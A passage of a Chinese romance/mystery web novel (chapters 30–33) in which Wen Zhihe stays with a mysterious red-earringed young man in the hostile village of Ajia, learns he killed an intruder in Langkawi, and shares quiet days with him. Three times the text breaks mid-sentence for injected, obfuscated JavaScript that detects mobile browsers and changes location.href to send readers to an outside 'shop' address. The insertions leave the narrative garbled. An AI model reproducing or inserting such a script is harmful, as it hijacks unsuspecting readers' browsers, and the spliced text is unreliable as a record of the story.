两个月?她心想,有这时间,说不定她都已经回家了。 这时候戴尔蒙徳管事办公室的门又被人敲响了。咚咚。马德鲁探了个脑袋进来,见温知和也在这里,还跟她打了个招呼。他似乎也是遇到了什么麻烦,来找管事的人帮忙。 戴尔蒙徳管事一改先前同温知和说话时的敷衍,停下了手里正在做的事,专心地听孩子说了一阵。他们讲的是马来语,于她而言,就像另一个世界。 温知和一向知道自己在这里是外人。要是放在先前可能还会忧虑,觉得孤家寡人在与世隔绝的异乡生存实在艰难,就算出了什么事也闹不明白;现在,不管怎么样,好歹她算是有地方去的。大不了借宿两个月……吧。 戴尔蒙徳管事和马德鲁仍在说话,她没开口打断,自己转身出去了。走了没多远,身后传来啪嗒啪嗒的小跑着的脚步声,马德鲁也出来了。 温知和说,“你们说完了?” 孩子点点头,“是啊,就是家里有个柜子坏了。昨天晚上也太晃了,它一头撞到墙上,木板都裂了。我找他们借点……嗯……修补材料?”他不太确定那个词的英文,总之差不多是那么个意思。 “你自己修么?” “是啊,厉害吧?”马德鲁又说,“我刚才听你们在里面说,叽和老师你房间也有东西坏了?” “窗玻璃碎了。” “那我去帮你修吧。” “欸?”温知和还挺讶异,“你还能修窗户?” 马德鲁脸上得意的笑容藏都藏不住,“小事,换玻璃而已啦,修修补补嘛。” 他忽然看见她手上缠着纱布。“你受伤了?” “被玻璃划破一点点,小问题。” 马德鲁看看她的纱布,又看看她,露出思索的表情,“说起来,玻璃碎了……那你昨天晚上睡的哪里啊?” 小孩问这个问题,只是出于关心。可能还有点逻辑层面上的好奇—— 已知昨晚暴风雨; 已知暴风雨之夜不该呆在没窗户的地方,否则不安全; 已知叽和老师窗玻璃坏了。 于是天然地就出现了一个问题:那么,叽和老师去哪儿了? 这问题问得寻常,温知和便也答得寻常。“我找地方借宿了。” “哪里啊?” “顶层。” “顶层没人啊。”马德鲁一句话脱口而出,又恍然大悟,“只有那个谁……噢!” 一个噢字拖了三秒,马德鲁又想起什么来似的,积极建议道,“对啊,要不你找使者帮你修玻璃吧!” “……” 一模一样的话要是别人说的,八成就是揶揄加调侃了。但马德鲁年纪又不大,心里是真没想别的,纯纯一个建议。 马德鲁说,“他修东西很快的!虽然平时看上去不太好接近……但有几次我们也找他帮过忙,不管是什么东西,感觉好像都是三两下就好了。好像没有他不会的东西啊。” “这样啊……” 温知和嘴里应和着,看上去是没走心。但脑子里的确浮起来一个问题。 既然青年这么会修东西,那为什么不帮她把窗玻璃换了,反倒以窗户一时半会儿好不了为由…… ——“来的时候直接敲门就好。” “……” 温知和回想了半天,他当时的表情真的一点破绽都没有。 - 夜幕降临。 大熊星座号逐渐慢下来,准备靠岸了。阿甲村与其说是个村落,倒不如说更像个小型城镇,不知是生产力比较落后还是别的什么,整个镇子里灯火特别昏暗,一眼看去,是黑压压的。 大熊星座号来这里的主要目的是补充物资,据说要停靠三到五天左右。船民们搬着大大小小的箱子、袋子下了船,比上次在交易岛登陆时还要忙碌。 温知和一点也不知道自己应该去干点什么。戴尔蒙徳管事没派活,她也没觉得自己需要买什么东西。跟着人群下了船,只是为了到陆地上走一走。在大海里待得太久,每天眼睛里看的都是蓝天蓝海,都快忘记有人烟的陆地上是什么样子了。 阿甲村自然是贫瘠的。 道路狭窄泥泞,楼房最高不到三层,有的地方甚至还没通电,点的是油灯。热带飞虫不时从黑漆漆的空气里划过。 大熊星座号登陆的船民们吵吵闹闹,阿甲村的人也有出来迎接的。在温知和原先的想象里,大家都是海民,关系应该还不错;可两方真碰了面的时候,气氛却说不上友善。顶多是冷漠的主客关系。 她看见阿甲村领头的人跟戴尔蒙徳管事谈事情,嘴里抽着烟,灰白的烟圈就那么不断往戴尔蒙徳管事脸上扑,后者显然有点不耐烦,只是一直在忍。 还有不少人在往她身上看。她是奇特的东亚面孔。 温知和小心地走在船民们中间,避免太靠近那些陆地上的陌生人。看到的越多,心里便越是有点犯怵。 这个地方有点邪门,绝不是天然形成的聚落。除了昏暗的气氛、破落的建筑,最引人深思的是—— 阿甲村里没有一个女人。甚至也没有老人,没有孩子。放眼望去,全是举止粗鲁、不怀好意的成年男人。 船民们挨挨挤挤地进了村,许多人都有事情要做,有的中途停了下来,有的半路里便走了,人群于是慢慢稀薄起来。 她不时回头看,在后面模模糊糊的人群里寻找某个身影。 她并没有等太久,他果然来了。 左耳下有红色耳钉的青年一出现,那些明里暗里的恶意像老鼠见了猫似的销声匿迹了。 青年道,“走吧。” 温知和仰着头望他一阵,忍不住想笑。“干嘛?” “不找住的地方?” —— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033187|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你知道我住哪里?” ——“为什么我们要一起找住的地方?” ——“我为什么要跟你走?” 诸如此类要么是用来防备,要么是用来欲擒故纵、推推拉拉的问题,一个也没落在温知和的脑袋里。 他就在她身前,朝她伸出了手,又说了第二次。“走吧。” 于是她就说,“好啊。” - 青年的临时住处,在阿甲村里大概已经算是条件还不错的房子了。两层的小楼,虽然简陋些,淋浴、电灯、电风扇,该有的东西差不多也都全了。 温知和一走进来,不自觉地就想起兰卡威的义工之家。那边在物质条件上和这里差不多。她每次和父母打视频电话,总会特意避免让他们看到房子里面的简陋。 ……那时候的事想起来,像隔了一道不可逾越的鸿沟。 阿甲村的夜晚黑漆漆的。这种黑,总让人觉得不仅仅是没有光线那么简单,似乎还有别的什么。隔着一堵薄薄的墙,街区上的几声犬吠依稀可闻。 青年检查了所有的门窗,确认了房子眼下的安全。“挑个房间吧。” “你睡哪儿?” “你先挑。” “我想起一件事……”温知和望着这座显然很少有人来住的旧房子,有点踟蹰。这几个月里都是在海上晃晃悠悠过的,忽然间回到陆地上,还要在这样的房子里过夜……这会让她想起在兰卡威义工之家度过的那个雷雨夜。那是她对陆地的晚上最后的记忆。 青年随手打开了客厅里的电风扇,滞热的空气流动起来,让人觉得清爽不少。他把她往旁边拉了一点,免得她被电风扇对着直吹,然后就松了手,“什么事?” “……我之前没跟你说实话。到船上的第一天,你问我有没有遇到过奇怪的事,”她顿了顿,“其实,我被绑到船上来的前一个晚上出过一件意外。” 青年没有接话,只是去开了一瓶矿泉水,然后坐在沙发上,仰头喝水。陈旧的电灯从天花板上垂下来,微薄的光照在他皮肤上,随喉头吞咽的动作,脖颈附近那些疤痕隐隐被扯动,仿佛活了起来。 有一种很危险的感觉。 温知和自己往下接着说,“那天晚上下了大雨,还有打雷闪电。我半夜起来的时候,有一个人影……出现在窗外。” ——那时她正蹲在地上,查看相机里那张奇怪的照片。忽然一道闪电从正后方窗外经过,屋里一片雪白,一道怪异的影子落在墙面。 ——起初她以为那是自己的影子,蓦地转头,却看见一个鬼魅般的人影映在窗户上。双手张开,是推窗欲进的姿态。 “……但‘它’没进来。只过了几秒种,我都还没反应过来的时候……‘它’就掉下去了。” 那惊心动魄的时刻,又一道闪电经过时,窗外已空无一人,唯有树影婆娑。她立马就打电话找人求助了。第二天警察姗姗来迟,硬是什么线索也没找到。还有人委婉怀疑是她自己看错了。 温知和交代完了,青年依然没有开口,喝了一半的矿泉水盖上了盖子,他把瓶子拿在手里把玩。透明的水折射着灯光,在墙面上留下一道窄窄的五彩的影子。 温知和道,“我又不是故意瞒你的。那时候跟你也不熟。” “没关系。”青年终于说话了。身体往前一倾,把矿泉水放在前面的桌子上,双手十指交叉,相当随性的姿态。 他说,“我都知道。” 31. 第三十一章 温知和一开始没反应过来青年说的是什么,还准备开口再解释一下,把那天的情景描述得更具体一些。一个字都还没说,就愣住了。 “……你知道?” 青年嗯了一声,说,“不然你以为那个人影为什么会,”他停了一下,特意用了她自己刚才的描述,“掉下去。” “什么意思?” “那是哈撒的人。他当时在兰卡威有一些秘密计划,你应该是意外看到了不该看到的东西。” 许多信息砸进脑子里,在温知和反应过来之前,她已经几步走到青年身前,把手按在沙发背上,身体往下倾,几乎是从上面压着他质问的状态。 “那个晚上,是你……动的手吗?” “嗯。” 温知和用力地盯着青年,“你还做过什么?” “见不得人的争斗而已,其他的都跟你没关系了。我说过你是意外。”他把手伸进她手掌与沙发之间的空隙里,牵住了她的手,也化开了她压在上面的力气。“我会送你回家的。” 他又补了几个字,“安安全全的。” 旋即,他轻轻一个翻身,温知和往下一跌稳稳坐进了柔软的皮质沙发里,而青年在旁边站起身来,修长的身形遮住了灯光。 “喝水吗?” 他这句话仿佛宣示着刚才那段争执的落幕。划定了一条线,再多的什么,她问了他也不会说。 温知和把脸埋在手里。终于,抬起头来,指了指桌上那瓶他刚才喝过的。“那瓶就行。” 青年伸手拿了水,又开了盖子,递给她。温知和一言不发地咕噜咕噜喝了,拧上盖子,说,“……为什么要告诉我?” “什么?” “刚才的事……瞒着不说对你来说不是更方便吗?” 青年稍微想了想。“的确。” 事情抖出来告诉她,反而还多了一番争执。说不定还要引起她的猜疑。 “为什么要说?” 温知和打量着他的侧脸,试图在上面找到什么蛛丝马迹。但他什么也没有藏。 “不知道啊,”他仿佛思索着什么,“看着你,实话忽然就藏不住了。” 温知和不说话了。 青年又揉了她的头发。“该休息了。我先给你的伤口换药,然后选个房间睡吧。” - 屋里已经熄灯了。 温知和在被子里辗转反侧。她选的是二楼的一个小房间,除了一张床和一块勉强能站脚的地方,剩下的就是墙了。窗户紧锁着,有点闷。但地方小了有安全感。 青年就在离她一墙之隔的地方。就在她头顶后面的那个房间。他进门前她无意中往里面瞥过一眼,那里面的床头也是靠着这边的墙。也许他的脑袋就在离她不到三十公分的位置。 她凝神听着周围的动静。一点声音也没有。也许是这座房子的墙厚,隔音效果好;也许他也没睡;也许……他睡觉的时候就是比较安静。 她又翻了个身。 身上的被子很薄,也很旧,她只用来盖了肚子。身下的木床老是响,她一动就吱呀吱呀的。好像全世界在这深夜里都成了不出声的哑巴,只有这张床不停地在和她说三道四拉家常。 “唉……” 还是睡不着。温知和不由长长叹了口气。 然后,听见了笑声。 她抬手去敲脑袋后面那堵墙。“笑什么?” 隔着一堵墙,那边的声音也有些模糊,“睡不着吗?” “嗯……”温知和本来只是这么出了一声,又一想他可能听不见,于是抬高了声音,“是啊!” “那怎么办?你睡不着的时候一般会做什么?” “我睡不着的时候一般会做的事,刚才都做过了,”什么数羊、数水饺、假装自己躺在深水里、冥想放空大脑,全都都走了一遭了,“要不你教教我你的。”她仰起头,仿佛在黑暗里能透过墙看到那边的人似的,“你睡不着的时候一般会做什么?” 那边隔了一阵才回答,“我已经很少有睡不着的时候了。” 听了这种话,温知和第一反应是觉得羡慕。通常来说,心态好,脑子里没有烦心事才容易丢下一切进入梦乡。可这个人…… 这个人身上究竟都发生过什么呢?他可以很容易地睡着,是因为内在力量格外强大,外部的一切危机都不足以动摇他的心,还是因为……已经没有什么可以再失去的了? 吱呀。 温知和在胡思乱想间又翻了一个身。 墙的那边开口道,“一定要说一个才行么?” 温知和在黑暗里歪了歪头,想了一下青年这话是什么意思。他好像是以为……她刚才一直不说话是生气了,觉得他在敷衍? 于是她说,“是啊!” 这房子的隔音原来并不太好,她听见他在那边长长地呼出了一口气,也许是在勉强思索。又过了一会儿,他才说,“我小时候被用过一个方法。” “‘被’用过?” “嗯。” “什么方法?” “……唱摇篮曲。” 那得是多小的时候了。温知和说,“那怎么办?要用这种方法的话,是你给我唱吗?” “我不唱。” “诶……万一真的有效呢?” “……” “你声音这么好,唱歌应该不难听吧?” “我不唱。” “唱吧。” 青年又强调了一次。“不唱。我再想想别的。” “我就要这个。”温知和又伸手敲了敲墙,“你看,我还可以给你伴奏。” “……” 没反应了。 温知和把墙敲了又敲,那边硬是一点声音也没有了。 “不能这样啊,”她坐起身来,开始胡搅蛮缠,“我现在比之前还清醒,都是你的错。” 咚咚咚。咚咚咚。咚咚。 还敲起了节奏。 这附近的街区没有别的声响,夜色也是黑不隆咚的,好像世界上只剩下这么两个房间和中间的一堵墙。别的事情全都远去了。 吱呀。是从床上坐起来的声音。 温知和手里敲墙的动作忽然停住了。墙的那一边接着响起下床声、脚步声。他来得很快。 咚咚。她的门响了。 她轻手轻脚地爬到离门比较近的床尾,看见底下的门缝已经亮了光,说,“干嘛?” “出来。” “你不会是来报复我的吧?不就是敲个墙么。” “你当我是动画片里的反派?” 她想了想。“你是在说我幼稚?” “我是在想带你去楼顶。不是睡不着么?” 温知和转头往窗户外面看了一眼。夜色深深,附近的街区都没什么动静。但天上的星星很多,也很亮。 她说,“是去……看星星?” 门外说,“你想的话也可以。” 温知和下了床,摸着黑把门闩开了,吱呀一声,门慢慢往外推,外面的光线一点点漏进来,照在她身上。 青年就在眼前,双手插在裤兜里,身体姿态和脸上的神色都有点懒懒的。可能还真是从睡梦里被她弄起来的。 他朝她伸出手。“走。” 她把手放上去。“好。” - 这座旧房子一共只有两层,屋顶并不高。坐在上面看四周,不会让人有一览众山小的俯视感,只觉得整片聚落里的房屋像极了起起伏伏的人间的海浪,而自己也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043024|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身在其中。 外面比屋里凉快。 温知和抱着膝盖坐在青年身侧,仰着头看天上。“真好看。” “嗯。” “唉,有点浪费。” “怎么了?” “我不太擅长形容好看的东西。这么漂亮的星空,有些人可以说好长好长的话,特别美特别浪漫,但是我就只会——”她眯起眼睛笑,又说了一次,“真好看啊。” 青年道,“听上去像小动物。” “诶?为什么?” “小猫也一句话都不会说。把好吃的拿出来给它,它再高兴也只会喵喵叫。” “喂……” “怎么了?” 她偏过脸去看他。附近很黑,只有几米开外的一盏破旧路灯和天上的星星勉强能算得上是光源,他的轮廓像是半融进黑暗里。那枚标志性的红耳钉也看不太清,仿佛它睡着了。 她一时忘了刚才被他说像小动物的事,不由开口说,“你——” 也真好看啊。 她原本也就只会这么简单的形容,才一开口又觉得这话对着人有点轻挑,于是连后面的几个字也没说了。 好在他似乎没听见。 温知和欲盖弥彰地咳了咳,把话题扯开。“说起来,你为什么住这个房子啊?” “临时安排。” “应该不是那种奇怪的地方吧……” “什么奇怪的地方?” “就是电影里演的那种……嗯,秘密基地?半夜三更会有人上门和你密谋,你们嘀嘀咕咕一些很机密的事,我起来上厕所,不小心听见……然后被你们灭口……” 青年笑了起来。“小动物的想象力都这么丰富么?” “所以不是?” “不是。它只是一座普通的房子。而且,你现在也住在这里,就算有奇怪的事也不会发生在这附近。会远一点的。” “噢……” “你应该不打算自己在阿甲村到处乱逛吧?” “没,这里感觉不是很安全。” “明后天都待在屋子里,非要出去透气的话,等我回来再说。” “你要出门?” “嗯。每天出去一两趟。” 温知和没问他去干什么。只是抱紧了膝盖,深深地呼出一口气。不知什么时候,刚才在楼下卧室乱敲墙壁的时候那种莫名开心、无所顾忌、好像在他面前做什么都可以的感觉已经不见了,短暂得像一段还没听旋律便彻底消了音的插曲。 他离她这么近。 她几乎能感觉到他身上的温度。 在一阵短暂的沉默里,温知和在某个瞬间又很想问那个问题。 ——这个近在咫尺的人,究竟叫什么名字呢? 她动了动嘴唇,但最终还是什么也没有说。她能猜到他会是什么反应。波澜不惊。无动于衷。然后毫无铺垫地讲起其他的事情。 她轻轻地呼出一口气,然后,讲起一个无关紧要的话题。她说一句,青年便回一句,也还算是没冷过场。 温知和渐渐困了。 说着,说着,她身体越来越歪,终于靠在了青年肩上。没再说话了。 青年微微把头偏下去靠她更近一点,听见均匀的呼吸声。他似乎笑了一下,摇了摇头。 先前她把他吵醒了,于是两个人才来了屋顶。现在他清醒得很,她自己倒是自顾自地就睡了。 夜风轻轻地吹过来。 青年伸出手揽住睡着了的人,让她在自己肩上靠得更舒适,自己则抬头独自看起了星星,看不出在想什么。 过了很久,耳畔传来一声梦呓。 青年凝神听了听。 她说,“妈妈……好想你啊……好想回家……” 32. 第三十二章 次日,温知和醒的时候是在自己房间的小床上。身上的被子盖得很好,脱下来的鞋子整整齐齐地摆在床边。 昨天晚上她完全睡过去了。想到后来大概是青年把自己抱回来的,她下意识地咳了一下,把被子拉上来微微遮住了脸,翻了个身。 再睁眼时,从窗外洒进来的稀薄阳光恰好落在脸上,还有一丝微风。窗户微微开了一条缝,外面的仍有些灰蒙蒙的,时间应该还很早。 眼前有一根头绳。 应该是他昨天从她高高扎起的头发上褪下来,随手放在枕头边的。带着马尾睡在枕头上的确会有点磕脑袋,是她昨天躺下以后隐约露出不舒服的表情被他看见,还是在那之前他便已经想到,伸手给她披散了头发? 温知和把那根头绳拿在手里。 那个人,对周围一切细节的洞察力真是惊人。 或许也不仅是这个原因…… 他对她足够细心。 可是…… 温知和再次把被子遮在了脸上,长长地吐出一口气。 ——可是那又怎么样呢?她连他的名字都不知道。 她在这边翻来覆去的,小床吱呀吱呀地在响,隔壁一点声音也没有。她下了床,出了门,看到他房间门紧关着。再一下楼,才知道他已经出去了。 一楼客厅的桌子上有几块给她留的白面包,还有一张写着“我出门了”的纸条。 她一面吃着面包慰劳大早上饥肠辘辘的肚子,一面分了点神,望着天花板算着:在她起床之前,他完成了起床、洗漱、出门找食物、把食物带回来、再次出门这一系列的事项,居然一点声响也没有,她在睡梦里完全不知道。 面包的分量并不多,才一会儿就吃光了,显然只够早饭。 ——如此说来,中午前他应该会回来。 这个念头闪进脑海的时候,温知和起初只觉得挺好,到时候就有午饭吃了,他总不至于饿着她。可下一秒又忽然想到昨天他说:“小猫也一句话都不会说。把好吃的拿出来给它,它再高兴也只会喵喵叫。” 自己呆在屋子里玩,不能独自出门,只能等人回来投喂。她家里只有一个成员过着那样的日子,就是冬哈那只傻不溜秋的萨摩耶。 温知和:“……” 忽然之间刚刚吃完的面包就不香了。 - 差不多十一点多的时候,大门那边传来钥匙开门的声音,再有吱呀一响伴着脚步声,青年果然回来了,还带了吃的。 温知和正趴在沙发上无所事事地吹风扇,听见他回来,也没抬头。 青年把饭盒放在桌子上,里面的东西倒也寻常,都是当地常见的面点,做法也没什么特别的,“吃饭了。” “噢……” 温知和磨磨蹭蹭地到了桌子边,拉开椅子坐下后,盯着青年说了一句,“吃完饭我想出去走走。” 青年没觉得这句话有什么。“可以啊。” 温知和不说话。 青年察觉到了什么,目光不偏不倚地落在她脸上,“怎么了?” “我怎么觉得我好像你养的宠物啊。” “……” “……” “怎么说?” “饭要你带。出门散步也得你领着。” “只是这几天而已。” 桌上的饭盒已经被青年打开了,食物香气弥漫。温知和正要吃,余光里看见坐在对面的青年抱着手臂对着她笑。 她说,“干嘛?” “你也可以换一种思路。” “什么意思?” “宠物也分不同的类型,有的居家,有的外放。放出去又能给你找吃的,让你在家里坐享其成,还能探探外面的情况,天气一好就给你做导游。不好吗?” 他话说到一半的时候温知和就忍不住开始笑。她连忙拿水把嘴里还在嚼的食物送下去,吞咽几下,确认安全,又低着头笑得越来越收不住,垂落两颊的头发都有点在颤。 青年就坐在对面看着她,“高兴了吗?翻身做主人了。” “你真好。” “行。” “那,既然是把你放出去找吃的,我能不能点单啊?” “得寸进尺?” “能不能啊?” “你想吃什么?” “嗯……”她思忖半天,说了几项在船上常有的东西,大多是海鱼一类。青年没说话,但微微下垂的眼神意味着他听见了。 温知和心情大好,低下头又开始吃东西。这张桌子不大,这间屋子也不大,呼啦作响的风扇在旁边吹着,这一刹那间,两个人仿佛是在一同生活。 她忽然意识到这还是他们第一次在同一张桌子上吃饭。 此前在大熊星座号的两个多月里,青年从来没有在公共食堂出现过,总是行踪莫测的。要遇见他,多少得靠运气。现在住在一个屋檐下,确切地知道他睡在哪里,知道他什么时候回来,感觉……很奇特。 青年注意到温知和的视线。“又怎么了?” “‘又’是什么意思?” “感觉你的脑袋里有个小舞台,时不时就会开演一些我不知道的东西。” “猜猜刚才开演的是什么?” “东西不好吃?” “不是。” “屋子里太热了?” “也不是。” “盘算晚上去哪里玩?” “也不……”温知和一顿,这个话题她的确有兴趣,下意识地往前坐了一点离他更近,“晚上可以去哪里玩?” 青年这会儿已经吃完了,擦了擦手,站起身来,又俯身道,“——晚上再说。” “喂!” “好好在屋里呆着,我要出门了。” 温知和斜眼瞅了他一下,一面往嘴里塞食物,一面不停地想,没关系他只是外放的宠物要去觅食了、没关系他只是外放的宠物要去觅食了、没关系他只是…… 还是真讨厌卖关子的人啊。 然而,大门咔哒一声响,他已经走了。 - 下午格外漫长。 明明已经是二零一七年,这座房子里的年代却好像还停留在上个世纪,所有房间加起来,通了电的除了灯和几个旧风扇,也就只有一台收音机了,连个电视都没有。 温知和试图鼓捣了一下那台收音机。起初还真让她找到了点门道,滋滋声里隐约传来人声,她一下兴奋起来,那是时隔两个月第一次听到外面世界的声音。可那是马来语的频道。再怎么听也只有不明其意的叽里咕噜,对她来说和乱码没什么区别。 仿佛渴求已久的那个真实世界,像百鬼夜行一般在她眼前走过,可她伸出双手不停地去摸、去抓,触碰到的依然只有空气。 她一言不发地又听了一阵,把收音机关了。 屋子里静下来。隔着薄薄的一堵墙,外面大下午的却很热闹,人声,脚步声,货物搬运声,此起彼伏。 温知和站在二楼窗边往下看。 何止是目前所在的这座房子,整个镇子,或者说村落,都好像还沉落在半个多世纪以前。瓦房、砖房、草房,矮窄又陈旧,街道也大多是小巷,曲曲折折,半藏在黑暗里。这里的人们贫困又凶狠。 她能看见不远处的街角有大熊星座号的船民在和阿甲村人做交易,一边是斤斤计较,一边是凶神恶煞,双方谁都看对面不顺眼,偏偏为了生活,交易又不能不做下去。还有抽着烟的男人蹲在不远处,对着船上来的女人们搭不怀好意的讪,后者应对得也很娴熟,开口就是骂。 她忽然注意到对面房子的外墙是白的,上面有彩笔涂鸦。看上去是一行马来文字。 ——不能说不熟悉。 她见过那行字,不止一次。最初是在前往兰卡威的火车,青年手中报纸上有一行粗重的笔迹;然后便是那张倒了大霉的照片,侏儒男人手中的盒子上有同样的文字;再后来便是纳姆来绑架她,车上挂件表面也有那行字。 她还记得自己用翻译软件识别过前半句的意思。 ——“当太阳从大海深处升起……” 升起之后呢?那时用来识别文字的照片上只有前半截,后半句话被遮住了。于是那句话便成了一个没有下文的谜题。 它在那么多地方都出现了,几乎就像是这个古怪海上世界的某种箴言。她看着它,却无法看明白其中的意思。就像她置身于这个世界,却始终不是其中的一员。 就在温知和隔着窗户望着那片墙上涂鸦出神的时候,视野边缘出现了一个熟悉的身影。是十二岁的少年马德鲁。 她眼睛瞟过去。 他背着个大麻袋在街上晃荡,学着船上的大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050195|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们,在试图和阿甲村的人做交易。看上去是想用麻袋里他自己做的木工小玩意,跟人换些吃食之类。他的交易有时候能谈成,有时候不能,偶尔还偷偷朝人翻白眼。没什么不同寻常的。 只不过,别的船民大都是一家人走在一起,有人负责提东西,有人负责交涉,有人专门负责站在旁边凶神恶煞——马德鲁却一直是自己一个人。他就那么晃晃悠悠地从街头走到街尾,走出了温知和的视线。 她轻轻呼出一口气,抬眼看向天上的太阳。它还那么高呢。要把这个下午熬过去,还有很久很久。 - 青年是在夕阳最盛的时候回来的。金红色的霞光铺了满路,温知和就在二楼窗边看着他在遥远处出现,然后走得越来越近,身影越来越清晰。他手里还提着袋子,显然是今天的晚餐。 看见他走进院子,她想也没想地就下了楼,穿过客厅,在他开门进来的时候站在门后面等他。 她把手背在身后,笑眯眯的,“你回来啦!” 青年看着她,把门在身后关上,隔了几秒,也笑了笑。“我回来了。” “今天怎么样呀?” “很顺利。” 温知和正要接话,忽然发现什么似的,又说,“刚才的对话好奇怪……” “为什么?” “呃,因为我其实并不是很清楚你出门到底是干什么的……万一你做的不是什么好事……” “我也没做什么坏事。” 青年开始往里走,把带回来的吃食放在客厅桌子上。温知和跟在他后面也进来了。 他说,“你呢?今天怎么样?” “说真的,很无聊……” “都做了些什么?” “呃……玩了一下收音机,然后看外面的人吵架、数每个房间有多少块地板、把屋子里的抽屉全都翻了一遍,还有……” 还真不算少了。 青年看着她说话时脸上的神色变化,忍俊不禁道,“所以,每个房间有多少块地板?” “客厅47块。一楼南边卧室24块、北边卧室26块、厨房22块。二楼储藏室10多块,我的卧室也是10多块。” “二楼怎么不具体到个位数?” “故意的……今天都数完了的话,明天就没有事可以做了……” “明天不需要呆在屋子里。我带你出去玩吧。”青年顿了顿,眼睛几不可见地低垂了一下,“明天就是最后一天了。” “大熊星座号明天晚上就启程?” “嗯。” “那我们去哪里玩?”温知和眼睛亮亮的,又补了一句,“诶对了,今天晚上是不是也要出去的!” “嗯。” “去哪里呢?” “随便走走吧,”他说,“先吃饭。” 他带回来的东西不多,但她中午点单要的东西倒是一个也没缺。两个人坐在同一张桌子上吃完了这顿晚饭,聊得是有一阵、没一阵。所谓日常生活,大抵就是这样。 青年忽然道,“数了这么多房间地板,没有去数我住的地方么?” “……数了。” “刚才没说。” 她低着头,目光游移,往嘴里塞了一口食物,慢慢地嚼。隔了一阵才若无其事地说,“19块。” 青年想了想,“和你的年纪一样呢。” “无关紧要的巧合……” “是啊。” “哎所以……” “什么?” “你房间的地砖数量和我同岁。那,我刚才数的那么多一楼房间里,有没有哪一个和你的相仿呢?” 她咬着筷子盯着他,眼睛很亮,为灵机一动,有可能从他那里挖到一星半点与他有关的私人信息而有些得意。 ——一楼南边卧室24块、北边卧室26块、厨房22块。 令人失望的是,青年说,“没有。” “噢……” 但转念一想,也不是毫无收获。至少排除了几个错误答案。他不是22岁,不是24岁,也不是26岁。 那么他究竟是23、25、27还是…… 温知和仍咬着筷子,微微陷入思索。 坐在桌子对面的青年望着她,眼睛里微微在笑。霞光仍未散去,有那么一抹映在他左耳下的耳钉里,熠熠发亮。 33. 第三十三章 两个人去随便走走的地方并不远,才隔了两条街,就有一片僻静的金色沙滩。细白的海浪一阵一阵冲上来,偶尔会留下巴掌大的小螃蟹和小贝壳。 夜幕已降临了。 这一片人不多,灯火也少,即使尽情放声大叫,也只有海浪声会回应。 温知和心情舒畅不少,踩着沙子往前跑了一阵,拂在皮肤上的海风有难得的凉爽。转过身来往回望,青年仍在不远处,双手插在裤兜里,正不急不缓地朝着她走过来。刚才拂过她的海风朝着他吹过去,把他微微自然卷的黑发向后吹起。 她拿手比出一个取景框,把他框在里面。 ——晚风,大海,有红耳钉的青年。他真是漂亮。 等他走近了,温知和说,“大熊星座号现在不能上去么?” “你要去干什么?” “我想拿相机。”她又拿手比出取景框,对着周围景色,原地悠悠地转了一圈,像是想把一切都收进手里,“不能拍照的话也太可惜了。” “它这两天在修整。” “就是闲杂人等不能登船的意思?” “嗯。” “可是我想拿相机,”她瞅着他,朝他靠近了一点,笑盈盈地又说了一次,语速放慢,“我想拿相机。” 海风吹拂,碎发微微遮了青年的眼睛。他说,“非要不可?” “是啊,非要不可。” 他望她一阵,终于抬起手看了一眼表,“行。” 温知和高兴了。“什么时候去!” “明天。” “现在去行不行?” “又得寸进尺?” “可不可以啊?” “不可以。” “诶,为什么?” “太晚了。” “也还好吧。行不行?行不行?” 像这样子又磨了几句,青年还是不松口。“不行。” 温知和又转到他面前,踮起脚,努力让自己和他平视,“剪刀石头布来决定吧。” “什么?” “三局两胜,怎么样?要是我赢了,我们就现在去。要是你赢了,就等到明天。” “……随便。” 她伸出手,他也伸出手。 她的手纤长而柔软,有一种不知世事的干净。而他手掌宽厚,修长的十指上生着薄薄的茧,三两处,还留着细细的疤痕,像命运的痕迹。 第一下,她出剪刀,他出布。 她仰头笑了一阵。 第二下,她出石头,他也是石头。 她嘟哝了一声。 第三下,她还是石头,他也没变。 她没说话,直接开了第四把。 她换成了布。而他出的依然是石头。 “好耶!”温知和举着那个定了胜负的“布”跳了起来,落地的时候,恰好有海水涨上来,触感一下子变得清凉,让人不由叫起来。 青年把手揣回裤兜,也没看她。 温知和道,“走走走!现在就走!” 青年道,“才刚来的沙滩。” “走啦!” 她一把捉住他的手腕,拖着他就往船停靠的方向赶过去。那地方应该不远,她还有点印象。两个人在沙滩上一前一后,一步一个脚印地走。偶尔有一阵海水涨的高,他们身后的脚印窝里会盈上一层薄薄的水光。 温知和知道今天这事儿算她不讲道理,甚至有点胡搅蛮缠的意思。 也许,能肆无忌惮胡搅蛮缠提要求的人,心里大都是有底的,哪怕仅仅是在潜意识里。知道自己会被一再纵容,才敢不断越线。 